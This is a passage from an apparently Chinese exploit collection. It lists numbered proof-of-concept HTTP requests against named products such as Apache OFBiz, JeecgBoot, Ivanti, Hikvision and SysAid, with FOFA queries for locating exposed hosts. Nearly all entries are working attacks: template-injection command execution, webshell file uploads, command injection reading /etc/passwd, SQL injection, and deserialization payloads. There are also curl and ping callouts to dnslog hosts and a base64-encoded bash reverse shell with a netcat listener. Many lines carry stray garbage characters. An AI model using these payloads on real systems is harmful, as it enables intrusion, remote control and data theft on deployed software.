0 F0 P- `3 G% I8 x, @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 p, O0 ~8 J0 S- f% T" v8 MCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
) e( p5 O/ Z( Q: eUpgrade-Insecure-Requests: 1
, u% E! A# |1 s5 w
{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
2 S* a' I0 j4 L' o. r  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
& y% b5 ?" W; J1 w% y}
5 m: V( H; ?* `! U8 S# x

7 T& m. D+ [0 r" b4 h! DGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
1 |2 q* N- ?* W* u0 F6 d% z

; A, M/ z# y' I' y: ]! \
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
7 Z) x( F& J% DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 _+ x' H7 c. hConnection: close
Content-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
- U5 s/ F6 f" f& o1 j4 ^Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
% `- r' y, v* c7 J
------------398jnjVTTlDVXHlE7yYnfwBoix
4 l# N, C- E' X7 M) ~7 X8 LContent-Disposition: form-data; name="folder"
4 ~. T+ Q" W& ^( f* [4 V( ^
5 E7 S; W: |% W& c1 n* m; R( X/upload/udplog
* l9 c4 ]9 |& ]& E, C5 g5 {, t------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
( E( }/ h( P& n7 `Content-Type: application/octet-stream

  M( A$ @! B0 I8 a0 thello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
$ l+ k% d" c: l& i
Submit Query
1 @, }% U* I2 c------------398jnjVTTlDVXHlE7yYnfwBoix--

, B( r# _& b0 S7 i9 v1 \
; H. n6 B! d$ @8 p, B78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
$ |; b8 _% @( b5 U6 Q9 u4 b; |POST /Platform/System/FileUpload.ashx HTTP/1.1
& R' w& i7 S# |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
9 ^- i/ [3 n' A' bAccept-Encoding: gzip
4 X, K; Q2 _' ]Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

& [& Y5 ^0 M. G------YsOxWxSvj1KyZow1PTsh98fdu6l
: Z& U( G  M9 xContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
. H4 I# }6 e4 b& Z. _Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
: E- X/ n  y. ?+ k# E) ]% o' L------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
8 E5 O/ _' _0 x9 o, n1 t------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
( R7 ]& c$ L( ?2 p2 ?. h+ CHost: x.x.x.x
$ b0 s* j# Z% D1 K
9 {3 l! V) Q) N6 W  Z9 R4 {6 u
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
3 l; P9 y3 V  Q4 ^# o# W# x$ iGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
6 H6 ~/ O! h3 o3 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
/ I7 ~9 k+ P* mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* v6 `+ C0 X3 l& |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 {: B, t" V7 V$ n8 r* IAccept-Encoding: gzip, deflate
# ]9 n: v2 i. K! Z4 M% l+ OConnection: close
Upgrade-Insecure-Requests: 1
  u  W( x' N4 u$ {) e; d

! f) z* b7 H7 J+ M4 r80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
1 b6 P( Z+ k5 N4 {6 u3 k+ |5 u# v5 WPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
( B* b) i/ i2 B  L% N  C% s/ @3 ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: n3 j5 `: ]( pContent-Length: 27
5 i, I. _2 W) C4 m! H6 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
+ ?; T% i' B% \8 J9 yContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
  [+ Z% K, u; _. M4 K
. A, w. z( o9 ]- t6 X- ^+ E<% out.print("oessqeonylzaf");%>

4 n0 q2 q& N" K0 W& m4 @
# i% a/ j. u+ N+ I* i0 b- ]GET /xykqmfxpoas.jsp HTTP/1.1
% C# g3 Q; H7 }3 g! ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
7 l7 q" t# l3 Q/ Y0 _- b7 yAccept-Encoding: gzip
) Q' k# `  Q. C% q" V4 B) n5 a  w
( a5 P6 A. h1 L& G$ W6 ^, W
- u- m4 o& u6 r8 @3 }- q1 y! M81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
, B1 S# f# x( |; T" L* P9 G$ i# i' NGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
# J  d& Y- K% a& `9 }8 y! b0 S3 oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
$ R7 ~& }+ n9 L- |! G# \& s# HFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
5 m% f! U. U' ~# R& _' qUser-Agent: Go-http-client/1.1
% I( l: q& b: }9 EContent-Length: 23
6 g+ Q3 \0 w$ xAccept-Encoding: gzip
Connection: close
" v& I! E, ^/ h" i( M) o! vContent-Type: application/x-www-form-urlencoded
' l+ ~3 F' ?6 u3 Y' i0 ?: v7 LReferer: BaseURL
: c) r8 j+ U3 g9 P. A1 _
$ N. B. x1 v& U, V% W  tz1=1&z2="|id;"&z3=bhost
- _- I# `3 h6 ?0 f

83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
/ ^; B, R) y$ f' t5 i) D

2 C; R" Z3 ^& d5 s3 @* DPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 P' V4 k9 G# z' F: UConnection: close
' r/ }/ r- f! k1 d: BContent-Length: 8881
; i1 a- D5 Q+ x/ V) a4 S/ ZAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
7 d& i: o* Z: w1 A% FContent-Type: application/json
; \& q$ D3 A: s1 Y/ u
) I! R3 j1 B3 [/ ?$ JPAYLOAD
) g' k0 ]& ~, c  g  n7 ^4 s
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
6 c7 V. o$ h7 f% |% s6 uFOFA：title=="JeecgBoot 企业级低代码平台"



5 I/ c" T0 @0 U$ J1 Q2 v) y, CPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
- |4 l! L, E/ \) P9 {# sHost: 192.168.40.130:8080
. q3 x4 I' t* l  ]) hUser-Agent: curl/7.88.1
7 j8 L( |5 M! ^7 i3 ?" C2 XContent-Length: 156
6 _9 W4 o3 v# E7 NAccept: */*
Connection: close
; U3 C' A$ r2 EContent-Type: application/json
- ]4 r' N% ]/ j# kAccept-Encoding: gzip

( w, f/ C; L! F* C  T( `. f+ Y& {{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}

  B; C+ A; _0 O
85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
- v; A6 }7 |' ^8 vEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 N# x, B! e" b  ~! e; zContent-Type: application/octet-stream
+ W0 x" T) j9 M$ p+ ZAccept-Encoding: gzip

PAYLOAD
' W4 o, t4 c  B" `5 D" z: u' w- ~
2 Z% N/ I4 b; x# U回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
- s3 G) v! \& T. |& ?' ePOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
2 t9 Q4 r* e6 o7 i) ?" }$ tConnection: close
/ j1 h* x4 z) P# y, Q; S0 @* eContent-Length: 44
Accept: */*
$ O: p! \4 ?$ S( K/ p$ BAccept-Encoding: gzip
Accept-Language: en
% w8 z" y% ~9 L1 D9 |Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
, Q% X! f: h* x! `! e& O
' j5 R% ]! d$ j$ _+ ^
87. 安恒明御安全网关aaa_local_web_preview文件上传
, b! l5 V  {2 h/ A; J0 E$ e/ b( nFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
3 ~* e1 n' ?; X0 w2 n- N) lHost: X.X.X.X
; v. l, v# b4 p# O# w) fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  L, t/ g9 b; W* F+ U' WConnection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

2 P( x5 b* S0 T. f' U; O. K+ y0 s--qqobiandqgawlxodfiisporjwravxtvd
9 T2 U9 m1 w7 i, f9 z4 a+ PContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
6 K3 B5 N$ K4 Q6 zContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
1 E% e: j+ u, L--qqobiandqgawlxodfiisporjwravxtvd--

0 R% d" Q1 z1 x3 s) I
+ P7 Q) N$ ~+ u. f+ c/jfhatuwe.php
: T0 u! c' Y/ Y7 a9 j
( {  l) V' ?$ g88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
' I* Z) J% \. o& oFOFA：title="明御安全网关"
1 X, n; a$ @; Q' E: n& R8 j) a( B+ f+ zGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
& {  ~5 T& G/ k8 f! F* }3 wHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ s; k# ^# s/ j( YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 K& n$ ^9 T+ S' c# ^7 E" C5 qAccept-Encoding: gzip, deflate
0 D* k1 K8 j2 o) N1 g, ]! _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
% W, s2 M. C. S  Z1 U

/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
1 L  H6 C3 T7 zPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
7 p2 T% a) O* t+ J9 BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
6 Q; S2 n3 H1 U% _Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
& E6 O& k8 x  \& m- QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
. b( P! F6 w7 B. P9 ^* fContent-Length: 51
: _/ L* y" Z" Y* rAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
% a' t- i% ~1 j% Q# o
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
2 [" A8 w2 @) Z+ l

" {7 U# e  H* U" U' y91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
: A# {7 D8 _+ t) CGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
1 @2 [% E7 l( A: y* o" CHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
0 [8 S6 S6 U! V6 z3 d7 AAccept: */*
' m( [7 I. ^  u0 d( |Connection: keep-alive
4 M" ?! k- F1 W
1 b( |5 Z. r3 i, l$ \7 B3 O

% S3 y8 M6 H9 a  V9 n( i. A$ x92. 海康威视运行管理中心session命令执行
$ V' L7 y& e) q) D) gFastjson命令执行
5 s! i* N3 c+ x/ O% L* T  Fhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
0 E; J4 ^0 o& q% T! Q* {0 z1 U5 `, EPOST /center/api/session HTTP/1.1
9 B. f3 l! T9 `% ZHost:
1 X/ w: ?0 z! q+ N  \- [Accept: application/json, text/plain, */*
9 D5 M4 L* M, n* q2 NAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
' D) C8 k2 f' {& s. t. i5 iX-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
( @/ ^6 f9 e+ tAccept-Language: zh-CN,zh;q=0.9
. L+ c8 |9 c+ p9 kContent-Length: 5778

PAYLOAD

5 |7 ^9 y* S1 o1 k- o
: S. [/ K  H! [/ C! C$ q93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
% A$ F( W+ z0 S) S1 T0 lHost: x.x.x.x
, P, L: U' K& w) PContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 Y) F4 w8 t2 Q6 \  L* L; ~0 O
------WebKitFormBoundarykcbkgdfx
. E# k% I  {7 \! s6 qContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
2 G/ [8 X7 {) b9 D  s7 N4 g------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
8 |2 L. `* z' `5 d0 E# J* z, D
* }! K0 T/ l& {. r6 rwagletqrkwrddkthtulxsqrphulnknxa
* T0 C" k0 |( t- t------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

. ]6 ?& _1 j! R2 L3 Q% F" W4 X0b9d6b1ab7479ab69d9f71b05e0e9445
. S+ P/ Z6 q' }' _! [------WebKitFormBoundarykcbkgdfx--


( ^7 ?$ m2 f) T* |& lGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
  y- Z- i$ F  q: P. ?User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& k0 P8 E  D5 \5 J+ ?7 x: g6 n
+ \6 o0 \0 \; f
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
* Q2 D: i2 w% _7 B5 Z- ePOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
, b2 \) A1 Q+ a$ R+ T( H& iContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

$ }$ X% f6 `$ l/ P" x/ J# _% N------WebKitFormBoundarybqvzqvmt
4 ~/ d4 U0 i; rContent-Disposition: form-data; name="MAX_FILE_SIZE"

$ n& f' G* x; p5 T/ h% B; w' l: ^10000000
------WebKitFormBoundarybqvzqvmt
4 F7 B+ I( v0 o/ o6 Q, Q3 `Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

- f1 U; [; |$ wpxplitttsrjnyoafavcajwkvhxindhmu
& A! ~, k% ], [+ f4 B------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

( U6 C2 y( y9 }+ a0 ~+ Tobj_app_upfile
9 }+ s. M% P/ [! N8 F------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
/ p( {  }' k$ c/ D" Y$ x" ^% d
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

$ k7 K8 @% e& E3 I+ J
' |5 k' e+ p; l8 d) f! \" X# c# D0 O
GET /attachements/xlskxknxa.txt HTTP/1.1
* p# b! v8 D* ]& k6 |2 c5 wHost: xx.xx.xx.xx
8 M+ Q' @- l2 p+ v& k( WUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! T: I7 \9 b; f$ C5 f4 w8 A* S- z


95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
" s" w1 Z* V0 x! gCVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
" E5 L  e8 `* j! ~( e9 [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
! j2 A: s" r( m- q+ RContent-Length: 889
) Q; _- {! \3 y& aContent-Type: application/xml
0 U' q. Q4 R$ uAccept-Encoding: gzip
! B' X5 K4 L, y/ H* y
7 m* N- `1 c' v' L- a( ?2 [<?xml version="1.0"?>
" N# i! d; Y8 F! q<methodCall>
6 T% L% d5 i& V- M# r# K   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
7 e+ H" M4 q* }; N4 Z8 f# v( ?      <value>
$ y6 T* I. I5 O        <struct>
1 e7 x  W4 b! U( B, b$ c7 W       <member>
4 v% g' Z2 U. F/ |2 W          <name>test</name>
+ J5 G9 `( y, ^$ u( h          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
4 @% `% r6 L% @, O. k% h1 L    </param>
; q) t1 H- P) y6 p: M5 d3 v& j* q  `    </params>
2 d* o! I! {  E* Y( O. F</methodCall>

; H* M% l2 _$ Y6 I6 q- m& N! ~. ^0 s
用ysoserial生成payload
1 j, w7 \# ~- c3 W4 F; k) d1 u9 Rjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

+ B4 g1 k# W4 }/ u# s0 W9 g
将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
4 A, z% `( U8 q1 j8 JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
2 w  U5 A  b3 y& |8 L" T( @; h) SConnection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
$ e  s5 R. W; @+ FFOFA：app="Apache_OFBiz"
4 [" F9 V: F3 q* g" c7 [) hPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
9 f8 O( Z- S, y6 y/ n1 mHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
7 m8 C5 a# b  rAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);
& O/ k5 Q$ q3 |8 Y

( l- u2 m6 F, v& V7 `" R0 |( g7 l3 B反弹shell
在kali上启动一个监听
' _* `7 L8 r  ~$ Q% X0 g2 f  x: rnc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
) g( l' d( g8 ?; s# x% v% G. @5 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
6 @/ D* A2 [# p; nAccept: */*
' f, O# D5 t5 O) _7 n* Q* vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
" Q% u" y9 x% V8 ?: w% A5 Q" V
. D; |0 ^8 \! a8 C$ ~2 k2 zgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

6 u9 ~: v+ X- d- e1 F* j97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
6 B4 W, T, J& n8 P/ Y3 b" xGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
3 k2 @' L! I& tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 H+ ]; {' D, d1 j! Z) O4 vAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
' n6 }1 I+ i* }0 ~/ z5 HX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
) o  c" p: u# |: [) d
) R( @/ I' o5 H; |! F6 p
( w; N% j  f1 x/ e# d6 M5 x% t6 A98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
0 Y& A+ |$ D9 z# m# NPOST /function/save HTTP/1.1
4 @! i3 A: ]% G3 O  rHost: 192.168.40.130:8088
, G" b8 I) P0 G1 D0 l0 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( c! z/ N! y3 z! V3 b0 RConnection: close
Content-Length: 121
( g1 Q; z! ]; n" ~+ ~* q# AAccept: */*
9 W2 S# S/ _5 n1 v1 H, J  FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

: `3 D$ y7 x% i8 k- \9 @- Y0 w: Did=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


6 ~: n4 L0 D0 q6 g99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
6 x+ L8 Y* L5 UFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
/ o- l5 M# A6 C/ [! SContent-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 d. a0 R2 j( S6 c; m+ n, C& D9 VContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
6 x8 d! q  B4 B) y- OCVE-2024-0352
FOFA：icon_hash="874152924"
/ K" G' w3 m  J. zPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
" }- S! G( i2 [, W9 AUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
' O- P+ c! g$ G9 f4 f% s$ j. TConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
' H5 P3 \& A2 }( P) I5 h% R" V
' V8 U6 _5 w& m5 v& D0 r------WebKitFormBoundarygcflwtei
6 r  N7 [' @; E. dContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
$ P( z9 g7 z2 j. t
2ayyhRXiAsKXL8olvF5s4qqyI2O
' P7 T& i& l  K+ o# P# P8 `------WebKitFormBoundarygcflwtei--
. z1 W# N7 p# H( A
& w6 B. c) \" {( G, g6 I, U7 P
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
5 A7 c+ Z- B: b) G2 V+ [: iGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
2 o  |4 a( Z( G3 [/ Y. zUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
. B9 Y- U  u' ~. {Accept-Encoding: gzip
& y( @9 N: @) c4 M! J

5 l9 R$ ^, c. u; d4 c102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
. d  W2 x5 P+ I9 vPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
% E1 ^! R$ ~/ J/ x( lConnection: close
/ s) p4 ^/ w7 l3 |+ O$ p, fContent-Length: 792
1 t3 d4 X  U$ Q: m" \/ DAccept-Encoding: gzip

